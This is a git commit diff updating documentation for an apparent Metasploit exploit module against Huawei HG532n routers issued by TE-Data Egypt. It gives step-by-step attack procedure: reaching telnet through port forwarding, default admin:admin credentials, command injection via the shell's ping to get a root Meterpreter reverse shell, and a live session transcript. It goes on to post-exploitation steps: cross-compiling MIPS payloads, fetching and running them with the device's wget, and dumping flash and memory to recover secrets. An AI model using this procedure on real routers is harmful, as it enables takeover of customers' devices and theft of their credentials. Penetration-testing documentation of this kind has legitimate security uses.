huawei_hg532n_cmdinject: Improve overall documentation

- Add section on compiling custom binaries for the device
- Add documentation for Huawei's wget flavor (thanks @h00die)
- Abridge the module's info hash contents (thanks @wwebb-r7)
- Abridge the module's comments; reference documentation (@h00die)
This commit is contained in:
Ahmed S. Darwish
2017-04-17 06:58:28 +02:00
parent 8a302463ab
commit 7daec53106
2 changed files with 109 additions and 37 deletions
@@ -3,7 +3,7 @@
## Introduction
The Huawei HG532n routers, shipped by TE-Data Egypt, are vulnerable to a command
injection exploit in the ping field of their limited shell interface.
injection exploit in the hidden ping command of their limited shell interface.
Affected hardware/software version strings:
@@ -16,9 +16,28 @@ Affected hardware/software version strings:
Software Version: V100R001C105B016 TEDATA
```
TE-Data, the incumbent ISP operator in Egypt, provided this router to customers
by default. The web interface has two kinds of logins, a "limited" user:user login
given to all customers, and an admin mode used by company's technical staff. For
hosts within the ISP network, this web interface is remotely accessible.
The web interface's user mode provides very limited functionality only WIFI
passwords change and NAT port-forwarding. Nonetheless by port forwarding the
router's own (filtered) telnet port, it becomes remotely accessible. All installed
routers have a telnet password of admin:admin.
Due to the ISP's _encrypted_ runtime router configuration [*] though, the telnet
daemon does not provide a direct linux shell. Rather a very limited custom shell
is provided instead: "ATP command line tool". The limited shell has a ping command
which falls back to the system shell though (`ping %s > /var/res_ping`). We exploit
that through command injection to gain Meterpreter root access.
[*] `<X_ServiceManage TelnetEnable="1" ConsoleEnable="" ../>` at `/etc/defaultcfg.xml`
## Usage
With an attacker node that resides within the ISP network, do:
- Set `payload` to `linux/mipsbe/mettle_reverse_tcp`
- Set `RHOST` to the target router's IP
@@ -68,7 +87,7 @@ and `DOWNFIILE` to the payload's path on that server. Run the exploit
afterwards.
## Live Scenario
## Live Scenario (Verbose)
```
$ msfconsole
@@ -156,3 +175,78 @@ Architecture : mips
Meterpreter : mipsbe/linux
meterpreter >
```
## Post-exploitation
### MIPS toolchain
Beside a basic meterpreter shell, you can compile your own C programs and
run them on the device! Download the [Sourcery CodeBench Lite](https://sourcery.mentor.com/GNUToolchain/package13838/public/mips-linux-gnu/mips-2016.05-8-mips-linux-gnu-i686-pc-linux-gnu.tar.bz2)
MIPS toolchain then compile your programs in the following manner:
```
#!/bin/bash
TOOLCHAIN_ROOT=mips-2016.05
CROSS_COMPILE=$TOOLCHAIN_ROOT/bin/mips-linux-gnu-
${CROSS_COMPILE}gcc \
--sysroot=${TOOLCHAIN_ROOT}/mips-linux-gnu/libc/uclibc/ \
-Wl,-dynamic-linker,/lib/ld-uClibc.so.0 \
-static \
program.c
${CROSS_COMPILE}strip -s a.out -o payload
```
Then call `wget` to download and run the generated `payload` above. Be careful
of the device's own wget call conventions below.
### A special wget command
Huawei crafted their own `wget` implementation inside the shipped version of
busybox. It has the following syntax:
```
meterpreter > shell
Process 17951 created.
Channel 1 created.
wget -h
wget: invalid option -- h
BusyBox vv1.9.1 (2012-10-16 22:24:47 CST) multi-call binary
Usage: wget [OPTION]... HOST
wget download and upload a file via HTTP
Options:
-g Download
-s Upload
-v Verbose
-u Username to be used
-p Password to be used
-l Local file path
-r Remote file path
-P Port to be used, optional
-B Bind local ip, optional
-A Remote resolved ip, optional
-b Transfer start position
-e Transfer length
-m Max transfer size
-c Compress downloaded file
```
### Rootfs image
Extract `/dev/mtdblock[0123]` images from the device to gain full raw access to
the flash. Use [binwalk](https://github.com/devttys0/binwalk) on the extracted
`/dev/mtdblock3` contents to get a full squashfs rootfs image.
The most important files in the rootfs image are encrypted though. Nonetheless,
by dumping `/dev/mem` contents and looking for the juicy bits, you will find
all the necessary information needed ;-)
Note that even after configuration decryption, all the now-plaintext important
configuration files store passwords in a SHA-256 hashed form. Be creative.